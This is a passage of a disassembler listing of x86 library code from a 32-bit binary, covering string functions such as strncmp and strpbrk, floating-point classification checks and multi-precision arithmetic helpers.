var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		cld
		inc	ecx

loc_8057B14:				; CODE XREF: strncmp+19j
		dec	ecx
		jz	short loc_8057B1F
		lodsb
		scasb
		jnz	short loc_8057B23
		test	al, al
		jnz	short loc_8057B14

loc_8057B1F:				; CODE XREF: strncmp+11j
		xor	eax, eax
		jmp	short loc_8057B27
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057B23:				; CODE XREF: strncmp+15j
		sbb	eax, eax
		or	al, 1

loc_8057B27:				; CODE XREF: strncmp+1Dj
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
strncmp		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

strpbrk		proc near		; CODE XREF: init_services_resolv+16Fp
					; init_services_resolv+1B5p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		nop
		db 8Dh,74h,26h,0 ; <BAD> lea	 esi, [esi+0]

loc_8057B80:				; CODE XREF: strpbrk+7Bj
		mov	cl, [edx]
		mov	[esp+ecx+100h+var_100],	cl
		test	cl, cl
		jz	short loc_8057BB3
		mov	cl, [edx+1]
		mov	[esp+ecx+100h+var_100],	cl
		test	cl, 0FFh
		jz	short loc_8057BB3
		mov	cl, [edx+2]
		mov	[esp+ecx+100h+var_100],	cl
		test	cl, 0FFh
		jz	short loc_8057BB3
		mov	cl, [edx+3]
		add	edx, 4
		mov	[esp+ecx+100h+var_100],	cl
		test	cl, 0FFh
		jnz	short loc_8057B80
		sub	eax, 4

loc_8057BB0:				; CODE XREF: strpbrk+A0j
		add	eax, 4

loc_8057BB3:				; CODE XREF: strpbrk+57j strpbrk+62j ...
		mov	cl, [eax]
		cmp	[esp+ecx+100h+var_100],	cl
		jz	short loc_8057BD5
		mov	cl, [eax+1]
		cmp	[esp+ecx+100h+var_100],	cl
		jz	short loc_8057BD4
		mov	cl, [eax+2]
		cmp	[esp+ecx+100h+var_100],	cl
		jz	short loc_8057BD3
		mov	cl, [eax+3]
		cmp	[esp+ecx+100h+var_100],	cl
		jnz	short loc_8057BB0
		inc	eax

loc_8057BD3:				; CODE XREF: strpbrk+98j
		inc	eax

loc_8057BD4:				; CODE XREF: strpbrk+90j
		inc	eax

loc_8057BD5:				; CODE XREF: strpbrk+88j
		add	esp, 100h
		or	cl, cl
		jnz	short loc_8057BE1
		xor	eax, eax

loc_8057BE1:				; CODE XREF: strpbrk+ADj
		mov	esp, ebp
		pop	ebp
		retn
strpbrk		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057BE8	proc near		; CODE XREF: init_services_resolv+B2p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	ch, cl
		mov	edx, ecx
		shl	ecx, 10h
		mov	cx, dx
		test	esi, 3
		jz	loc_8057C8B
		mov	dl, [esi]
		cmp	dl, cl
		jnz	short loc_8057C13
		mov	eax, esi

loc_8057C13:				; CODE XREF: sub_8057BE8+27j
		or	dl, dl
		jz	loc_8057D9E
		inc	esi
		test	esi, 3
		jz	short loc_8057C8B
		mov	dl, [esi]
		cmp	dl, cl
		jnz	short loc_8057C2C
		mov	eax, esi

loc_8057C2C:				; CODE XREF: sub_8057BE8+40j
		or	dl, dl
		jz	loc_8057D9E
		inc	esi
		test	esi, 3
		jz	short loc_8057C8B
		mov	dl, [esi]
		cmp	dl, cl
		jnz	short loc_8057C45
		mov	eax, esi

loc_8057C45:				; CODE XREF: sub_8057BE8+59j
		or	dl, dl
		jz	loc_8057D9E
		inc	esi
		jmp	short loc_8057C8B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057C50:				; CODE XREF: sub_8057BE8+CAj
		sub	esi, 4

loc_8057C53:				; CODE XREF: sub_8057BE8+FFj
		sub	esi, 4

loc_8057C56:				; CODE XREF: sub_8057BE8+134j
		sub	esi, 4

loc_8057C59:				; CODE XREF: sub_8057BE8+169j
		test	edx, 0FF000000h
		jnz	short loc_8057C6F
		lea	eax, [esi+0Fh]
		jmp	short loc_8057C88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057C66:				; CODE XREF: sub_8057BE8+D5j
		sub	esi, 4

loc_8057C69:				; CODE XREF: sub_8057BE8+10Ej
		sub	esi, 4

loc_8057C6C:				; CODE XREF: sub_8057BE8+143j
		sub	esi, 4

loc_8057C6F:				; CODE XREF: sub_8057BE8+77j
					; sub_8057BE8+17Ej
		test	edx, 0FF0000h
		jnz	short loc_8057C7C
		lea	eax, [esi+0Eh]
		jmp	short loc_8057C88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057C7C:				; CODE XREF: sub_8057BE8+8Dj
		test	dh, dh
		jnz	short loc_8057C85
		lea	eax, [esi+0Dh]
		jmp	short loc_8057C88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057C85:				; CODE XREF: sub_8057BE8+96j
		lea	eax, [esi+0Ch]

loc_8057C88:				; CODE XREF: sub_8057BE8+7Cj
					; sub_8057BE8+92j ...
		add	esi, 10h

loc_8057C8B:				; CODE XREF: sub_8057BE8+1Dj
					; sub_8057BE8+3Aj ...
		mov	edx, [esi]
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_8057D74
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057D74
		xor	edx, ecx
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	short loc_8057C50
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057C66
		mov	edx, [esi+4]
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_8057D71
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057D71
		xor	edx, ecx
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_8057C53
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057C69
		mov	edx, [esi+8]
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	short loc_8057D6E
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057D6E
		xor	edx, ecx
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_8057C56
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057C6C
		mov	edx, [esi+0Ch]
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	short loc_8057D6B
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057D6B
		xor	edx, ecx
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_8057C59
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jz	loc_8057C88
		jmp	loc_8057C6F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057D6B:				; CODE XREF: sub_8057BE8+153j
					; sub_8057BE8+15Ej
		add	esi, 4

loc_8057D6E:				; CODE XREF: sub_8057BE8+11Ej
					; sub_8057BE8+129j
		add	esi, 4

loc_8057D71:				; CODE XREF: sub_8057BE8+E1j
					; sub_8057BE8+F0j
		add	esi, 4

loc_8057D74:				; CODE XREF: sub_8057BE8+ACj
					; sub_8057BE8+BBj
		cmp	dl, cl
		jnz	short loc_8057D7A
		mov	eax, esi

loc_8057D7A:				; CODE XREF: sub_8057BE8+18Ej
		test	dl, dl
		jz	short loc_8057D9E
		cmp	dh, cl
		jnz	short loc_8057D85
		lea	eax, [esi+1]

loc_8057D85:				; CODE XREF: sub_8057BE8+198j
		test	dh, dh
		jz	short loc_8057D9E
		shr	edx, 10h
		cmp	dl, cl
		jnz	short loc_8057D93
		lea	eax, [esi+2]

loc_8057D93:				; CODE XREF: sub_8057BE8+1A6j
		test	dl, dl
		jz	short loc_8057D9E
		cmp	dh, cl
		jnz	short loc_8057D9E
		lea	eax, [esi+3]

loc_8057D9E:				; CODE XREF: sub_8057BE8+2Dj
					; sub_8057BE8+46j ...
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8057BE8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 9 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057DB0	proc near		; CODE XREF: strtok+30p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		nop
		db 8Dh,74h,26h,0 ; <BAD> lea	 esi, [esi+0]

loc_8057E00:				; CODE XREF: sub_8057DB0+79j
		mov	cl, [eax]
		mov	[esp+ecx+100h+var_100],	cl
		test	cl, cl
		jz	short loc_8057E2B
		mov	cl, [eax+1]
		mov	[esp+ecx+100h+var_100],	cl
		test	cl, cl
		jz	short loc_8057E2B
		mov	cl, [eax+2]
		mov	[esp+ecx+100h+var_100],	cl
		test	cl, cl
		jz	short loc_8057E2B
		mov	cl, [eax+3]
		add	eax, 4
		mov	[esp+ecx+100h+var_100],	cl
		test	cl, 0FFh
		jnz	short loc_8057E00

loc_8057E2B:				; CODE XREF: sub_8057DB0+57j
					; sub_8057DB0+61j ...
		mov	eax, 0FFFFFFFCh

loc_8057E30:				; CODE XREF: sub_8057DB0+A4j
		add	eax, 4
		mov	cl, [edx+eax]
		test	[esp+ecx], cl
		jz	short loc_8057E59
		mov	cl, [edx+eax+1]
		test	[esp+ecx], cl
		jz	short loc_8057E58
		mov	cl, [edx+eax+2]
		test	[esp+ecx], cl
		jz	short loc_8057E57
		mov	cl, [edx+eax+3]
		test	[esp+ecx], cl
		jnz	short loc_8057E30
		inc	eax

loc_8057E57:				; CODE XREF: sub_8057DB0+9Bj
		inc	eax

loc_8057E58:				; CODE XREF: sub_8057DB0+92j
		inc	eax

loc_8057E59:				; CODE XREF: sub_8057DB0+89j
		add	esp, 100h
		mov	esp, ebp
		pop	ebp
		retn
sub_8057DB0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057E64	proc near		; CODE XREF: sub_8053310+1C0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		and	eax, 7FFFFFFFh
		cmp	eax, 7FF00000h
		jnz	short loc_8057E90
		cmp	[ebp+arg_0], 0
		jnz	short loc_8057E90
		mov	eax, 1
		cmp	byte ptr [ebp+arg_4+3],	0
		jge	short loc_8057E8C
		mov	eax, 0FFFFFFFFh

loc_8057E8C:				; CODE XREF: sub_8057E64+21j
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057E90:				; CODE XREF: sub_8057E64+10j
					; sub_8057E64+16j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8057E64	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057E98	proc near		; CODE XREF: sub_8053310+125p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ax, [ebp+arg_8]
		and	eax, 7FFFh
		cmp	eax, 7FFFh
		jnz	short loc_8057ED0
		cmp	[ebp+arg_4], 80000000h
		jnz	short loc_8057ED0
		cmp	[ebp+arg_0], 0
		jnz	short loc_8057ED0
		mov	eax, 1
		cmp	byte ptr [ebp+arg_8+1],	0
		jge	short loc_8057ECA
		mov	eax, 0FFFFFFFFh

loc_8057ECA:				; CODE XREF: sub_8057E98+2Bj
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057ED0:				; CODE XREF: sub_8057E98+11j
					; sub_8057E98+1Aj ...
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8057E98	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057ED8	proc near		; CODE XREF: sub_8053310+199p

arg_0		= dword	ptr  8
arg_6		= word ptr  0Eh

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		mov	ax, [ebp+arg_6]
		shr	ax, 4
		and	eax, 7FFh
		cmp	eax, 7FFh
		jnz	short loc_8057F05
		test	dword ptr [ebp+0Ch], 0FFFFFh
		jnz	short loc_8057F00
		cmp	[ebp+arg_0], 0
		jz	short loc_8057F05

loc_8057F00:				; CODE XREF: sub_8057ED8+20j
		mov	edx, 1

loc_8057F05:				; CODE XREF: sub_8057ED8+17j
					; sub_8057ED8+26j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_8057ED8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057F0C	proc near		; CODE XREF: sub_8053310+109p

arg_0		= dword	ptr  8
arg_7		= byte ptr  0Fh
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		mov	ax, [ebp+arg_8]
		and	eax, 7FFFh
		cmp	eax, 7FFFh
		jnz	short loc_8057F41
		cmp	[ebp+arg_7], 0
		jge	short loc_8057F41
		test	dword ptr [ebp+0Ch], 3FFFFFFFh
		jnz	short loc_8057F3C
		cmp	[ebp+arg_0], 0
		jnz	short loc_8057F3C
		test	[ebp+arg_7], 40h
		jz	short loc_8057F41

loc_8057F3C:				; CODE XREF: sub_8057F0C+22j
					; sub_8057F0C+28j
		mov	edx, 1

loc_8057F41:				; CODE XREF: sub_8057F0C+13j
					; sub_8057F0C+19j ...
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_8057F0C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057F48	proc near		; CODE XREF: sub_8053310+76Ap
					; sub_8058094+474p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		dec	eax
		js	short loc_8057F69
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8057F5C:				; CODE XREF: sub_8057F48+1Fj
		mov	ecx, [esi+eax*4]
		mov	edx, [ebx+eax*4]
		cmp	ecx, edx
		jnz	short loc_8057F70
		dec	eax
		jns	short loc_8057F5C

loc_8057F69:				; CODE XREF: sub_8057F48+Fj
		xor	eax, eax
		jmp	short loc_8057F7E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057F70:				; CODE XREF: sub_8057F48+1Cj
		mov	eax, 0FFFFFFFFh
		cmp	ecx, edx
		jbe	short loc_8057F7E
		mov	eax, 1

loc_8057F7E:				; CODE XREF: sub_8057F48+23j
					; sub_8057F48+2Fj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8057F48	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057F88	proc near		; CODE XREF: sub_8053310+202p

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	edx, [ebp+arg_C]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_4], ecx
		mov	ebx, [ebp+var_4]
		shr	ebx, 1Fh
		mov	[edx], ebx
		mov	edx, [ebp+var_4]
		shr	edx, 14h
		and	edx, 7FFh
		add	edx, 0FFFFFC01h
		mov	[edi], edx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	esi, [ebp+var_4]
		and	esi, 0FFFFFh
		mov	[eax+4], esi
		mov	edx, [ebp+var_4]
		shr	edx, 10h
		test	dx, 7FF0h
		jnz	loc_805807C
		cmp	dword ptr [eax], 0
		jnz	short loc_8057FF8
		test	esi, esi
		jnz	short loc_8057FFE
		mov	dword ptr [edi], 0
		jmp	loc_8058083
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057FF8:				; CODE XREF: sub_8057F88+5Fj
		cmp	dword ptr [eax+4], 0
		jz	short loc_8058034

loc_8057FFE:				; CODE XREF: sub_8057F88+63j
		bsr	edx, [eax+4]
		mov	esi, edx
		xor	esi, 1Fh
		add	esi, 0FFFFFFF5h
		mov	ebx, [eax+4]
		mov	ecx, esi
		shl	ebx, cl
		mov	[ebp+var_C], ebx
		mov	edx, 20h
		sub	edx, esi
		mov	ebx, [eax]
		mov	ecx, edx
		shr	ebx, cl
		mov	edx, ebx
		or	edx, [ebp+var_C]
		mov	[eax+4], edx
		mov	ecx, esi
		shl	dword ptr [eax], cl
		mov	ebx, 0FFFFFC02h
		jmp	short loc_8058074
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058034:				; CODE XREF: sub_8057F88+74j
		bsr	edx, [eax]
		mov	esi, edx
		xor	esi, 1Fh
		cmp	esi, 0Ah
		jle	short loc_8058058
		lea	edx, [esi-0Bh]
		mov	ebx, [eax]
		mov	ecx, edx
		shl	ebx, cl
		mov	[eax+4], ebx
		mov	dword ptr [eax], 0
		jmp	short loc_805806F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058058:				; CODE XREF: sub_8057F88+B7j
		mov	edx, 0Bh
		sub	edx, esi
		mov	ebx, [eax]
		mov	ecx, edx
		shr	ebx, cl
		mov	[eax+4], ebx
		lea	edx, [esi+15h]
		mov	ecx, edx
		shl	dword ptr [eax], cl

loc_805806F:				; CODE XREF: sub_8057F88+CBj
		mov	ebx, 0FFFFFBEDh

loc_8058074:				; CODE XREF: sub_8057F88+AAj
		sub	ebx, esi
		mov	[edi], ebx
		jmp	short loc_8058083
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805807C:				; CODE XREF: sub_8057F88+56j
		or	dword ptr [eax+4], 100000h

loc_8058083:				; CODE XREF: sub_8057F88+6Bj
					; sub_8057F88+F0j
		mov	eax, 2
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8057F88	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8058094	proc near		; CODE XREF: sub_80531DC+88p

var_60		= byte ptr -60h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_10], 1
		jz	short loc_80580D8
		jg	short loc_80580B8
		cmp	[ebp+arg_10], 0
		jz	short loc_80580C8
		jmp	loc_80584C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80580B8:				; CODE XREF: sub_8058094+16j
		cmp	[ebp+arg_10], 2
		jz	loc_8058204
		jmp	loc_80584C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80580C8:				; CODE XREF: sub_8058094+1Cj
		mov	eax, 1
		cdq
		idiv	[ebp+arg_10]
		jmp	loc_8058627
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80580D8:				; CODE XREF: sub_8058094+14j
		mov	eax, [ebp+arg_C]
		mov	esi, [eax]
		mov	edx, [ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebx+edx*4-4]
		cmp	ecx, esi
		jb	short loc_80580F4
		mov	[ebp+var_4], 1
		sub	ecx, esi

loc_80580F4:				; CODE XREF: sub_8058094+55j
		mov	edi, [ebp+arg_8]
		add	edi, 0FFFFFFFEh
		mov	[ebp+var_54], edi
		js	loc_80581FA
		mov	eax, edi
		not	eax
		and	eax, 3
		mov	[ebp+var_30], eax
		cmp	edi, 0FFFFFFFFh
		jle	short loc_805815D
		test	eax, eax
		jz	short loc_8058180
		cmp	eax, 3
		jge	short loc_805815D
		cmp	eax, 2
		jge	short loc_805813E
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+edi*4]
		mov	[ebp+var_34], eax
		mov	edx, ecx
		div	esi
		mov	ebx, [ebp+arg_0]
		mov	ecx, edx
		mov	[ebx+edi*4], eax
		mov	edi, [ebp+arg_8]
		add	edi, 0FFFFFFFDh
		mov	[ebp+var_54], edi

loc_805813E:				; CODE XREF: sub_8058094+8Aj
		mov	eax, [ebp+var_54]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+eax*4]
		mov	[ebp+var_38], eax
		mov	edx, ecx
		div	esi
		mov	ebx, [ebp+var_54]
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		mov	[edi+ebx*4], eax
		dec	ebx
		mov	[ebp+var_54], ebx

loc_805815D:				; CODE XREF: sub_8058094+7Cj
					; sub_8058094+85j
		mov	eax, [ebp+var_54]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+eax*4]
		mov	[ebp+var_3C], eax
		mov	edx, ecx
		div	esi
		mov	ebx, [ebp+var_54]
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		mov	[edi+ebx*4], eax
		dec	[ebp+var_54]
		js	short loc_80581FA
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8058180:				; CODE XREF: sub_8058094+80j
					; sub_8058094+164j
		mov	eax, [ebp+var_54]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+eax*4]
		mov	[ebp+var_40], eax
		mov	edx, ecx
		div	esi
		mov	ebx, [ebp+var_54]
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		mov	[edi+ebx*4], eax
		dec	ebx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+ebx*4]
		mov	[ebp+var_44], eax
		div	esi
		mov	ecx, edx
		mov	[edi+ebx*4], eax
		mov	edx, [ebp+var_54]
		add	edx, 0FFFFFFFEh
		mov	[ebp+var_30], edx
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx+edx*4]
		mov	[ebp+var_48], ebx
		mov	eax, [ebp+var_48]
		mov	edx, ecx
		div	esi
		mov	ebx, [ebp+var_30]
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		mov	[edi+ebx*4], eax
		mov	eax, [ebp+var_54]
		add	eax, 0FFFFFFFDh
		mov	[ebp+var_30], eax
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+eax*4]
		mov	[ebp+var_4C], edx
		mov	eax, [ebp+var_4C]
		mov	edx, ecx
		div	esi
		mov	ebx, [ebp+var_30]
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		mov	[edi+ebx*4], eax
		add	[ebp+var_54], 0FFFFFFFCh
		jns	short loc_8058180

loc_80581FA:				; CODE XREF: sub_8058094+69j
					; sub_8058094+E7j
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		jmp	loc_8058624
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058204:				; CODE XREF: sub_8058094+28j
		mov	ebx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	ebx, [ebx+edx*4-8]
		mov	[ebp+arg_4], ebx
		mov	edi, [ebp+arg_C]
		mov	edi, [edi+4]
		mov	[ebp+var_C], edi
		mov	eax, [ebp+arg_C]
		mov	esi, [eax]
		mov	edx, [ebx+4]
		mov	[ebp+var_30], edx
		mov	ecx, [ebx]
		cmp	edx, edi
		jb	short loc_8058243
		ja	short loc_8058231
		cmp	ecx, esi
		jb	short loc_8058243

loc_8058231:				; CODE XREF: sub_8058094+197j
		mov	[ebp+var_4], 1
